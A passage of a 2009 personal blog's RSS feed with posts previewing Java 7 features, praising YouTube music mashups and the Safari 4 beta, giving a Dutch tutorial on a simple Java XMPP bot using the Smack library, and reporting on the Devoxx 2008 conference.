<p>While Java is already in the game for several years, development on new features and improvements for the language are still going on to ensure that Java will be useful in the future. Java 6 has been released more than two years ago, and is slowly becoming old caffee. Most people prefer freshly cooked caffee, and therefore a large number of developers are working on Java 7. The planned release for this newly brewed Java is stated for March 2010. In this article, I will try to provide an overview on the current state of Java 7 and what we can expect in the final release.</p>
<h2>Big changes</h2>
<p>While it is far from sure which will eventually be part of Java 7, some big changes are defined of which it will be very likely that it will be part of the new release. The most important change is <a href="http://blogs.sun.com/mr/entry/jigsaw">modularization</a> of the JDK. This project, which is currently knonw by the name <a href="http://openjdk.java.net/projects/jigsaw/">&#8216;Project Jigsaw&#8217;</a>, aims to provide a more flexible platform and make it easier to distribute Java libraries and applications. In a nutshell, the idea is to extend the Java language with syntax to load modules and define to which module a particular Java class, interface or package belongs. A module is a top level grouping of Java packages on a language level and jar files on a file system level. Java modules can be loaded dynamically &#8211; comparable to the way in which OSGi works &#8211; and it is possible to define dependencies within modules. Such a dependency can be optional, but it is also possible to prevent other modules to depend upon a given module. A new accessibily level will be added for classes and interfaces which makes it possible to restrict access to a certain class or interface from within the current module. As for now, the keyword which is proposed for this feature is &#8216;module&#8217;, but it will remain possible to call classes and other elements module (so, it will not become a reserved keyword).</p>
<p><a href='http://www.wolkje.net/wordpress/wp-content/uploads/2009/03/jigsaw.jpg'><img src="http://www.wolkje.net/wordpress/wp-content/uploads/2009/03/jigsaw.jpg" alt="" title="jigsaw" width="160" height="121" class="alignleft size-full wp-image-313" style="border: thin solid black;" /></a>The biggest advantages of the modularization will be the reduced amount of dependency problems within libraries, which is currently a major issue in larger Java applications. Project Jigsaw will make it possible to use multiple versions of the same module in a single application. Another advantages is that the JDK will be modularized as well, which makes it possible to reduce the core JDK significantly. Parts of the JDK which are not required for a certain application don&#8217;t have to be installed on the system, increasing the speed and reducing the size of the used JDK. Parts of Java which are not used anymore can be depricated more easily (because there are simply not installed anymore) and it will also be easier to add new parts to the JDK.</p>
<p>The modularization of the Java language is a very invasive operation. It requires changes to the syntax of the language, to the core libraries and the Java compiler. Sun Microsystems took the burden upon itself to implement this change, but also stated that it won&#8217;t be possible to make other large changes to the language. Victims of this decision are closures and the support for property fields.</p>
<p>Av few other changes which will be very likely to find their way into the JDK 7 is the NIO2 library. NIO2 uses operating system specific code to access files, directories and network resources, which leads to several speed improvements as well as extended capabilities which were not possible without NIO2. One of the notable improvements offered by NIO2 is the possibility of asynchronous access of (metadata) of files, enabling for example to execute code when a file is change without having to poll the file regularly for changes. There will also be changes to the concurrency framework, improvements in the other standard Java libraries and updates to the Swing framework, including the Swing Application framework and a multimedia component which makes it easier to implement video playing capabilities into Java applications. </p>
<h2>JVM changes</h2>
<p>Another big improvement, which will certainly be part of Java 7, is the so-called &#8216;invoke dynamic&#8217; feature for the JVM. This is not a change to the Java programming language, but will only be cause changes in the virtual machine. Invoke dynamic will benefit the dynamic languages which are available for the JVM, including JRuby, Jython, Scala, Clojure, Groovy, JavaFX and Fan. A complete explanating of this feature would require a article in itself (apart from the fact I can&#8217;t really explain it completely and corretly at this moment). It will make it possible to execute individual methods which don&#8217;t necessarily belong to a particular object or class. This is especially relevant for languages which support closures or provide possibilities to add methods to an object after it has been instanciated. </p>
<p>The current development version of the JVM (under the OpenJDK umbrella) already contains a new garbage collector (called Garbage First) which will improve performance in comparison to the current garbage collector (which uses a concurrent mark sweep algorithm), but the most important improvement is that the GC time will be more predictable.</p>
<h2>Project Coin</h2>
<p>There is a lot to write on the new features which are considered for Java 7 inclusion. However, space is limited here, so I have to wrap it up. There is one item which I will discuss here, and that is <a href="http://openjdk.java.net/projects/coin/">Project Coin</a>. Despite the fact that there will not be many large changes to the Java programming language with the Java 7 release, the developers would not want to skip the opportunity to do small languages changes with this new major release. These small language changes are selected using strict criteria: a language change should be relatively easiliy to implement and should give a significant productivity improvement for a Java programmer. An example of such a feature from the past is the &#8216;foreach&#8217; construction added with Java 5.</p>
<p><a href='http://www.wolkje.net/wordpress/wp-content/uploads/2009/03/insert-coin.jpg'><img src="http://www.wolkje.net/wordpress/wp-content/uploads/2009/03/insert-coin.jpg" alt="" title="insert-coin" width="200" height="194" class="alignright size-medium wp-image-314" style="border: thin solid black;" /></a>Everyone who has a good idea for a small language improvement can submit his proposal to the Project Coin <a href="http://blogs.sun.com/darcy/entry/project_coin_now_live">mailinglist</a>. The proposal should be done using a standard proposal form and has to be submitted before the 30th of March 2009. At the moment of this writing, there were 21 proposal submitted. A few of them are seriously considered for implementation (eventually, about five proposals will be part of Java 7):</p>
<ul>
<li>The possibility to use Strings in a switch statement.</li>
<li>Improved type inference for Generics, making it possible to write for example the following:<br />
<code>Map&lt;String , List&lt;String&gt;&gt; myMap = new HashMap&lt;&gt;();</code>.<br />
It would not be required anymore to repeat the types on the right side statement, which reduces the amount of typing by the programmer.
</li>
<li>The &#8216;elvis&#8217; operator and other operators which will make testing for null on variables unnecessairy. Example:<br />
<code>
<pre>MyObject myInstance = getMyInstance();
MyInstance.?toString();
</pre>
<p></code><br />
In the current Java, the myInstance.toString() call should be preceded by a checn on null for myInstance in order to avoid a possible NullPointerException.</li>
<li>Improved exception handling, including the possibility to handle multiple exceptions within one catch block and safe rethrow of exceptions.</li>
</ul>
<p>There are more interesting (and not-so-interesting) proposals, and there will definitaly be more new proposals submitted before the deadline will pass, but the list above will give a rough indication of which we can expect in Java 7. For developers who are interested in language development and in which way Java will evolve with the next release, it is certainly worthwhile to check out the Project Coin mailinglist. There are very intersting discussions on the proposed features and the huge implications which can come with (apparently) small changes. </p>
<h2>Conclusion</h2>
<p>Since it will take at least another year before Java 7 is released, at this moment the rough shape of this upcoming release is slowly revealed. Of course things will change over the next year and the described features are far from there eventual specification, it is safe to conclude that Java 7 will bring nice improvements. Not only for Java developers, but also for developers using alternative languages for the JVM.</p>
<p>The biggest difference compared to previous Java releases is the fact that all development is done in the open. Most of it will be part of the OpenJDK project, and otherwise as part of the Java 7 project. The OpenJDK development release, which already contains some improvements for Java 7, can be <a href="https://jdk7.dev.java.net/">downloaded</a> and installed at this very moment. So check it out if you want to try the new features!</p>
<p>I will try to give updates on this blog when there is something interesting to tell on the Java 7 development.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wolkje.net/2009/03/25/java-7-new-coffee/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		<feedburner:origLink>http://www.wolkje.net/2009/03/25/java-7-new-coffee/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=java-7-new-coffee</feedburner:origLink></item>
		<item>
		<title>Really amazing on YouTube</title>
		<link>http://feedproxy.google.com/~r/wolkjenet/~3/gdPtIyxvToQ/</link>
		<comments>http://www.wolkje.net/2009/03/15/really-amazing-on-youtube/#comments</comments>
		<pubDate>Sun, 15 Mar 2009 16:34:59 +0000</pubDate>
		<dc:creator>Martin Sturm</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Music]]></category>
		<category><![CDATA[youtube]]></category>

		<guid isPermaLink="false">http://www.wolkje.net/?p=311</guid>
		<description><![CDATA[In my opinion, most of the stuff on YouTube is not very interesting. However, today I stumbled upon a post on Slashdot which contains a link to a really inspiring video created by somebody with a lot of time, but most of all, a very creative and musical mind. What he does, basically, is gathering [...]]]></description>
			<content:encoded><![CDATA[<p>In my opinion, most of the stuff on YouTube is not very interesting. However, today I stumbled upon a post on <a href="http://slashdot.org/article.pl?sid=09/03/12/1429234">Slashdot</a> which contains a link to a really inspiring video created by somebody with a lot of time, but most of all, a very creative and musical mind. What he does, basically, is gathering music-related video&#8217;s from YouTube and edit them in such a way that a new song is created. You should watch some of these:</p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/yO-Mx0FHm4w&#038;hl=nl&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/yO-Mx0FHm4w&#038;hl=nl&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/i88CKr6Shn4&#038;hl=nl&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/i88CKr6Shn4&#038;hl=nl&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>
<p>There are at least six others, just take a look here: http://www.youtube.com/user/kutiman. All the original video&#8217;s are linked as well.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wolkje.net/2009/03/15/really-amazing-on-youtube/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.wolkje.net/2009/03/15/really-amazing-on-youtube/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=really-amazing-on-youtube</feedburner:origLink></item>
		<item>
		<title>New Safari 4 beta</title>
		<link>http://feedproxy.google.com/~r/wolkjenet/~3/OHQ-57miRmA/</link>
		<comments>http://www.wolkje.net/2009/02/24/new-safari-4-beta/#comments</comments>
		<pubDate>Tue, 24 Feb 2009 17:30:24 +0000</pubDate>
		<dc:creator>Martin Sturm</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Webdevelopment]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[browsers]]></category>
		<category><![CDATA[safari]]></category>
		<category><![CDATA[web development]]></category>
		<category><![CDATA[webkit]]></category>

		<guid isPermaLink="false">http://www.wolkje.net/?p=309</guid>
		<description><![CDATA[Today Apple introduced the first beta version of Safari 4. While I didn&#8217;t read much about this new upcoming browser, I am really enthusiastic about the new features of this browser. I was waiting for Google Chrome to come to the Mac, since I really like lightweight browsers, but Safari made the waiting unnecessary. Safari [...]]]></description>
			<content:encoded><![CDATA[<p>Today Apple introduced the first beta version of Safari 4. While I didn&#8217;t read much about this new upcoming browser, I am really enthusiastic about the new features of this browser. I was waiting for Google Chrome to come to the Mac, since I really like lightweight browsers, but Safari made the waiting unnecessary. <span id="more-309"></span><br />
Safari 4 has major improvements in speed. According to the press release, the Javascript engine is three times faster than the one in Safari 3 and faster than the one in Firefox. Also the rendering of HTML is faster (according to Apple) and I think I can even notice this improvement.<br />
Another change is that tabs are now on top of the window, so they do include the address bar (which is a big improvement usability wise).<br />
The new browser contains all kind of graphic hotness, including coverflow for bookmarks and history and a 3d-like display of most visited webpages in every new tab of window.<br />
What I personally really like in the new Safari 4, is the improved web developer tools. Safari 4 contains a Firebug-alike interface for every webpage, which enables you to inspect elements, view scripts, profile javascript, debug javascript, see load times and much more. I think with this improvement, Safari is one of the browsers which provides best support for web developers. You can try it for Windows and Mac OS X by downloading it from the <a href="http://www.apple.com/safari/">Apple site</a>.</p>
<p><b>Update</b> &#8211; I already noticed that Safari 4 was fast, but according to these <a href="http://crave.cnet.co.uk/software/0,39029471,49301219,00.htm">benchmarks</a>, Safari 4 is really fast. In fact, the JavaScript performance is better than Google Chrome and 42 times faster than IE 7. </p>
<p><a href='http://www.wolkje.net/wordpress/wp-content/uploads/2009/02/afbeelding-11.png'><img src="http://www.wolkje.net/wordpress/wp-content/uploads/2009/02/afbeelding-11.png" alt="" title="Safari 4" width="500" height="357" class="aligncenter size-full wp-image-310" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wolkje.net/2009/02/24/new-safari-4-beta/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.wolkje.net/2009/02/24/new-safari-4-beta/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=new-safari-4-beta</feedburner:origLink></item>
		<item>
		<title>XMPP in Java</title>
		<link>http://feedproxy.google.com/~r/wolkjenet/~3/BvEkqKTNGb8/</link>
		<comments>http://www.wolkje.net/2009/02/11/xmpp-in-java/#comments</comments>
		<pubDate>Wed, 11 Feb 2009 10:27:04 +0000</pubDate>
		<dc:creator>Martin Sturm</dc:creator>
				<category><![CDATA[English]]></category>

		<guid isPermaLink="false">http://www.wolkje.net/?p=308</guid>
		<description><![CDATA[I wrote this article a while ago, but never published it. Since it is mostly finished, I decided to put it online anyway. Unfortunately it is in Dutch, maybe I will translate it into English in the near future. XMPP en Smack Instant Messaging is nog relatief jong in de geschiedenis van internet en lijkt [...]]]></description>
			<content:encoded><![CDATA[<p>I wrote this article a while ago, but never published it. Since it is mostly finished, I decided to put it online anyway. Unfortunately it is in Dutch, maybe I will translate it into English in the near future.<span id="more-308"></span></p>
<p><strong>XMPP en Smack</strong></p>
<p>Instant Messaging is nog relatief jong in de geschiedenis van internet en lijkt daardoor nog niet zoveel gebruikt voor de communicatie tussen de gebruiker en een applicatie als bijvoorbeeld e-mail. Het verzenden van e-mails door een applicatie is tamelijk gebruikelijk. Het versturen van berichten naar een IM-client een stuk minder. Andersom, een applicatie bedienen door middel van e-mail of instant messaging-berichten lijkt nog veel minder voor te komen, terwijl er de nodige scenario&#8217;s denkbaar zijn waarin dit een efficiente en snelle bedieningsmethode kan zijn.</p>
<p>Enkele jaren geleden werd er een ISO-standaard gedefinieerd voor een protocol dat gebruikt kan worden voor instant messaging. Dit was het protocol dat door het Jabber-systeem werd gebruikt, en bij het standaardiseren werd omgedoopt tot XMPP. Hoewel Jabber/XMPP als Instant Messaging-platform nog niet de populariteit heeft van bijvoorbeeld MSN Messenger, ICQ of AIM/Yahoo IM, wordt het tegenwoordig toch redelijk veel toegepast. Bekende gebruikers zijn Google Talk, Apple&#8217;s iChat en Twitter-achtige applicaties die het gebruikt als een van de interfaces naar de gebruiker.</p>
<p>Uiteraard zijn er diverse gratis XMPP-servers, waarvan het in Erlang geschreven ejabberd de meest bekende en meest gebruikte is. Ook zijn er voor veel programmeertalen kant-en-klare bibliotheken om het protocol te integreren in een applicatie. Een XMPP-library voor Java is Smack, dat met weinig inspanningen een applicatie voorziet van XMPP-ondersteuning. In dit artikel zal ik een korte introductie geven in het gebruik van Smack.</p>
<p><strong>XMPP</strong></p>
<p>Het XMPP-protocol maakt in principe gebruik van een server. Het is echter vrijwel nooit noodzakelijk om zelf een server te draaien, al kan dit wel voordelen bieden tijdens het ontwikkelen van een XMPP-applicatie, zoals volledige vrijheid in de configuratie en dergelijke. Over het algemeen is het mogelijk om een publieke Jabber/XMPP-server te gebruiken.</p>
<p>XMPP is een modulair protocol, waardoor er diverse uitbreidingen zijn die extra functionaliteit toevoegen. Standaard biedt XMPP zeer rudimentaire instant messaging-functionaliteit, waaronder het registeren van gebruikers en het verzenden van berichten van een gebruiker naar een andere gebruiker. Uitbreidingen bieden mogelijkheden zoals multiuser-chat, wat de functionaliteit van een chatroom biedt, vergelijkbaar met een irc-chat. Ook zijn er uitbreidingen die verzenden van databestanden mogelijk maken en audio- en videocommunicatie faciliteren. De communicatie tussen de clients en de servers vindt plaats door middel van XML-berichten, waardoor het debuggen van XMPP-applicaties erg eenvoudig is.</p>
<p>Om werking van XMPP is vrij simpel. Om het te kunnen gebruiken moeteen gebruiker op de server worden geregistreerd waarbij minimaal een gebruikersnaam en wachtwoord moet worden opgegeven. Hierna kan de gebruiker zich aanmelden bij de server en is het mogelijk om berichten te verzenden naar andere gebruikers. Om een bericht naar een andere gebruiker te verzenden is alleen de gebruikersnaam noodzakelijk, die de vorm gebruikersnaam@hostnaan/Resource heeft. Naast het verzenden kan ook een lijst met contactpersonen worden bijgehouden, in XMPP-terminologie heet dit een Roster. Voordat een gebruiker aan het roster kan worden toegevoegd moet deze toestemming geven, omdat het dan namelijk ook mogelijk is om te zien of de betreffende gebruiker online is. Smack biedt een behoorlijk volledige implementatie van de XMPP-standaard. De belangrijkste classes in deze bibliotheek zijn XMPPConnection, Roster, AccountManager en Chat. </p>
<p><strong>Simpele XMPP-service</strong></p>
<p>Het ontwikkelen van een eenvoudige XMPP-dienst is met relatief weinig code te realiseren met behulp van Smack. In dit voorbeeld zal een XMPP-service worden getoond die een aantal standaard antwoorden geeft op berichten, afhankelijk van de berichtinhoud.</p>
<p>Om te beginnen moet er een verbinding met een XMPP-server worden opgebouwd:</p>
<p><code>
<pre>XMPPConnection xmppconn = new XMPPConnection("jabber.org");
try {
	xmppconn.connect();
} catch (XMPPException xe) {
	xe.printStackTrace();
}</pre>
<p></code></p>
<p>Er dient dus een nieuw XMPPConnection-object te worden aangemaakt, waarbij in bovenstaand voorbeeld een verbiding met de server jabber.org wordt gemaakt. De method-call connect() zorgt ervoor dat de daadwerkelijke verbinding wordt opgebouwd. Na het verbinden moet er worden ingelogd. Indien de gekozen gebruikersnaam niet bestaat, dient deze te worden geregisistreerd. In onderstaand voorbeeld is geen uitgebreide foutafhandeling aanwezig, om de code overzichtelijk te houden:</p>
<p><code>
<pre>try {
	xmppconn.login("pietje", "pukje123");
} catch (XMPPException xe) {
	XMPPError err = xe.getXMPPError();
	if (err != null &#038;&#038; err.getCode() == 404) {
		try {
			AccountManager am = xmppconn.getAccountManager();
			am.createAccount("pietje", "pukje123");
			xmppconn.login("pietje", "pukje123");
		} catch (XMPPException xe2) {
			xe2.printStackTrace();
		}
	} else {
		xe.printStackTrace();
	}
}</pre>
<p></code></p>
<p>Eerst wordt getracht aan te melden met een gebruikersnaam en wachtwoord. Als deze niet bijkt te bestaan, stuurt de XMPP-server een xmpperror-packet met een foutcode 404, wat aangeeft dat het genoemde object niet bestaat op de server. In dat geval wordt getracht om het account aan te maken. Dit gebeurd met behulp een AccountManager-object, die wordt geleverd door de XMPPConnection-instantie. Na het aanmaken van het account wordt opnieuw geprobeerd om in te loggen.</p>
<p>Nu we zijn verbonden met de server kan er worden gestart met het luisteren naar binnenkomende berichten. Aangezien we op alle binnenkomende berichten willen reageren, moet er gebruik worden gemaakt van een PacketListener. Dit is een tamelijk generieke listener die alle type binnenkomende objecten kan verwerken, en waarbij dus wat filtering dient te worden toegepast:</p>
<p><code>
<pre>class MyPacketListener implements PacketListener {
	public void processPacket(Packet packet) {
		if (packet instanceof Message) {
			Message mesg = (Message) packet;
			/* Code om message af te handelen */
		}
	}
}</pre>
<p></code></p>
<p>Normaliter kan gebruik worden gemaakt van een MessageListener op een Chat tussen een gebruiker, die alleen pakketten van het type Message verwerkt en de rest negeert. In dit geval kan dat niet, omdat niet bekend is welke gebruiker een bericht naar deze client zal sturen en moet de PacketListener worden toegevoegd aan het XMPPConnection-object:</p>
<p>xmppconn.addPacketListener(new MyPacketListener(), new PacketTypeFilter(Message.class));</p>
<p>Het daadwerkelijke afhandelen van een binnenkomend bericht gebeurd dus nu in de class MyPacketListener. Om het een beetje eenvoudig te houden, reageren we op elk bericht. Als het bericht alleen bestaat uit &#8216;datum&#8217; wordt de huidige datum en tijd terug gestuurd. Anders wordt er een algemeen bericht naar de verzendende gebruiker gestuurd:</p>
<p><code>
<pre>Message mesg = (Message) packet;
Chat chat = xmppconn.getChatManager().createChat(mesg.getFrom(), new MessageListener() {
	public void processMessage(Chat chat, Message message) {
		System.out.println("Received message: " + message.getBody());
	}
})

try {
	if (mesg.getBody().equals("date")) {
		chat.sendMessage(DateFormat.getDateInstance().format(new Date()));
	} else {
		chat.sendMessage("De XMPP-client zegt 'hoi'");
	}					}
catch (XMPPException xe) {
	xe.printStackTrace();
}</pre>
<p></code></p>
<p>Voordat er een bericht gestuurd kan worden moet er een Chat-object worden aangemaakt. Hier moet ook een MessageListener aan worden gekoppeld, die in principe alleen de berichten ontvangt die worden verzonden door de gebruiker die onderdeel uitmaakt van deze chat.</p>
<p><strong>Verdere mogelijkheden</strong></p>
<p>Voor een applicatie die XMPP alleen maar gebruikt voor notificatie en het eventueel ontvangen van berichten van gebruikers, zouden de voorbeelden al voldoende moeten zijn. Smack (en XMPP) bieden uiteraard nog veel andere mogelijkheden. Het eerste wat men nog tegen zal komen is de mogelijkheid om te &#8216;subscriben&#8217; op een gebruiker. De applicatie ontvangt dan notificaties wanneer de gebruikerstatus veranderd. Hiervoor dient echter toestemming te worden verleend door de gebruiker waarop men wil subscriben. Smack biedt de mogelijkheid om standaard toestemming te geven wanneer een subscribe-request wordt ontvangen, wat wel de beste keuze is als de gebruiker de mogelijkheid heeft om berichten naar de applicatie te sturen. In Smack wordt het subscriben op gebruikers volledig afgehandeld door de Roster-class, die bovendien een eenvoudige implementatie biedt voor het beheren van gebruikerslijsten. </p>
<p>Concluderend kan worden gesteld dat XMPP vele mogelijkheden biedt om notificaties te verzenden en ontvangen. De Smack-library biedt een gebruiksvriendelijke library om gebruik te maken van dit protocol en maakt het mogelijk om met relatief weinig code XMPP-ondersteuning toe te voegen aan een applicatie.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wolkje.net/2009/02/11/xmpp-in-java/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.wolkje.net/2009/02/11/xmpp-in-java/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=xmpp-in-java</feedburner:origLink></item>
		<item>
		<title>Devoxx 2008: JavaFX, Java 7 and dynamic languages</title>
		<link>http://feedproxy.google.com/~r/wolkjenet/~3/5suy2HMaCBM/</link>
		<comments>http://www.wolkje.net/2008/12/13/devoxx-2008-javafx-java-7-and-dynamic-languages/#comments</comments>
		<pubDate>Sat, 13 Dec 2008 14:21:53 +0000</pubDate>
		<dc:creator>Martin Sturm</dc:creator>
				<category><![CDATA[conferences]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Devoxx]]></category>
		<category><![CDATA[Groovy]]></category>
		<category><![CDATA[Java 7]]></category>
		<category><![CDATA[JavaFX]]></category>
		<category><![CDATA[Scala]]></category>

		<guid isPermaLink="false">http://www.wolkje.net/?p=303</guid>
		<description><![CDATA[Each year during the middle of December, the European Java community gathers at Antwerp to get updated on the latest developments in their profession. This year, Devoxx was organised for the first time from 8 until 12 December. The event was sold out for the second time in a row. This contradiction is caused by [...]]]></description>
			<content:encoded><![CDATA[<p>Each year during the middle of December, the European Java community gathers at Antwerp to get updated on the latest developments in their profession. This year, Devoxx was organised for the first time from 8 until 12 December. The event was sold out for the second time in a row. This contradiction is caused by the fact that Devoxx until this year was known under the name JavaPolis, but due to a dispute with regards to the Java brand, the name was changed into Javox and finally to Devoxx. In this post I will give my impressions of two days of this event. A <a href="http://blog.finalist.com/2008/12/13/devoxx-2008-javafx-java-7-en-scripttalen/#more-311">Dutch version</a> of this post is available at the weblog of my employer. <span id="more-303"></span></p>
<p><a href='http://www.wolkje.net/wordpress/wp-content/uploads/2008/12/img_9505.jpg'><img src="http://www.wolkje.net/wordpress/wp-content/uploads/2008/12/img_9505-300x200.jpg" alt="" title="Devoxx Banner" width="300" height="200" class="alignleft size-medium wp-image-304" style="border: thin solid black"/></a>With 3200 visitors from 35 different countries, the event was completely sold out. The five days Devoxx is held, are split into two parts. The Monday and Tuesday were so-called &#8216;university&#8217; days, consisting of longer in-depth talks taking three hours. The Wednesday, Thursday and Friday are the conference days, and contained the most interesting talks including some new announcements by the leaders of the Java community. Apart from the lectures, there was a booth floor with booths of Java related companies, such as IBM, Sun but also Microsoft and Adobe were present. I attended only the Wednesday and Thursday. Because of planning issues at work, it was not possible for me to visit the other days.</p>
<p>As expected, the main topics during Devoxx were the current hypes and trends in Java world. A major topic was of course JavaFX, which was released only one week before Devoxx by Sun Microsystems. Also other Rich Internet Application platforms got attention during Devoxx, but remarkably less than JavaFX. Another subject which got a lot of attention during the conference were alternative languages for the JVM, especially <a href="http://groovy.codehaus.org/">Groovy</a>, <a href="http://www.scala-lang.org/">Scala</a>, <a href="http://jruby.codehaus.org/">JRuby</a> and <a href="http://www.jython.org/">Jython</a>. In various talks not directly related to Groovy or Scala, examples were giving using these alternative languages. This clearly indicates that these new languages have a important position in the Java-world. In fact, JavaFX is also an alternive scripting language for the JVM, but obviously this language has a slightly different goal, because this language is mainly focused on RIA&#8217;s. Finally, the upcomping improvements in Java 7 was also a hot topic. </p>
<p>Wednesday started with a keynote consisting of two parts, where the second part consisted of a relatively boring promotion talk on RFID by IBM. The first part, however, was a lot more interesting. Danny Coward of Sun Microsystems introduced JavaFX and gave several demo&#8217;s showing the capabilities of this new platform and presented the global architecture of JavaFX. JavaFX is aimed at rich internet applications and competes with Microsoft Silverlight and Adobe Flex, among others. The main advantages of JavaFX is the fact that it is based on Java SE and in fact produces Java Applets, which implicates that it will run on a large part of the current browsers without the need of installing additional plugins. JavaFX strong points are the ability to work efficiently with multimedia and animations, which opens a lot of possibilities for Java developers. There are already many plugins for existing IDE&#8217;s like Eclipse and Netbeans, but also for tools used by designers, like Photoshop and Illustrator. A big disadvantage of the current JavaFX version is the lack of controls for data focussed applications, such as buttons, radio buttons and checkboxes.</p>
<p><a href='http://www.wolkje.net/wordpress/wp-content/uploads/2008/12/img_9496.jpg'><img src="http://www.wolkje.net/wordpress/wp-content/uploads/2008/12/img_9496-300x200.jpg" alt="" title="Mark Reinhold" width="300" height="200" class="alignright size-medium wp-image-306"  style="border: thin solid black"/></a>The Thursday keynote also consisted of two parts, but in contrast to the Wednesday, these were both very interesting. It started with a keynote by Joshua Bloch, author of the Effective Java book and one of the lead developers of Java SE 5. Bloch, currently working for Google, discussed some items of his Effictive Java book (the talk was apparently identical to the one he gave at JavaOne). The second part of the keynote was given by Mark Reinhold of Sun and consisted for the largest part of a discussion of <a href="http://blogs.sun.com/mr/entry/jigsaw">Project Jigsaw</a>. He also talked about the new features which will probably be part of the upcoming Java 7 release in 2010. Project Jigsaw is a attempt to modularize the Java SE and also enable Java applications to become modularized. The main advantage of this project is that it in the future will be easier to distribute Java applications and request a specific version of a Java library from within an application. The Java distribution will get profiles which are focussed on a specific task or platform. Examples of such profiles could be a mobile profile aimed at mobile phones, a desktop profile and a headless profile, which could be used by server applications. With regard to Java 7, he told that it will not contain closures (according to some people this is the death of Java&#8230;). Another remarkable notion is that Reinhold discussed the possibility to break compatibility in a future version of Java, which enables a clean-up of the Java language and libraries and introduce features which have a high impact on the language.</p>
<p><a href='http://www.wolkje.net/wordpress/wp-content/uploads/2008/12/img_9513.jpg'><img src="http://www.wolkje.net/wordpress/wp-content/uploads/2008/12/img_9513-200x300.jpg" alt="" title="Java Posse Live" width="200" height="300" class="alignleft size-medium wp-image-305" style="border: thin solid black"/></a>Of course, there is a lot more to write on Devoxx, since the amount of information is huge. Fortunately, all talks during the conference will be published on Parleys.com as podcast or vodcast. Interesting talks I attended where by Brian Goetz on concurrency in Java. During this talk, he presented the Fork/Join package, which could be part of Java 7. Goetz also did a talk together with Alex Buckley on the new JVM features to enable better performance of dynamic languages such as JRuby and Groovy. Bill Venners &#8211; author of the book &#8216;Programming Scala&#8217; &#8211; did an very interesting talk on Scala during which he mainly focussed on writing tests in Scala. Two Jetbrains developers presented how IntelliJ IDEA coped with alternative languages and how it coped with multi-language projects and especially the cross-language refactoring features. Another talk by the tech-lead of the Jersey JAX-RS reference implementation introduced JAX-RS, which can be used to develop RESTFul web applications. Of course there was also a delegation of the Java Posse team doing a Live Java Posse-podcast during which the guys from Attlassian gave away free beers. So all in all, Devoxx was really interesting for me and I attended a lot of interesting sessions which gave me inspiration for a while to experiment with some new languages and technologies! Hopefully I&#8217;m back next year!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wolkje.net/2008/12/13/devoxx-2008-javafx-java-7-and-dynamic-languages/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://www.wolkje.net/2008/12/13/devoxx-2008-javafx-java-7-and-dynamic-languages/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=devoxx-2008-javafx-java-7-and-dynamic-languages</feedburner:origLink></item>
	</channel>
</rss>
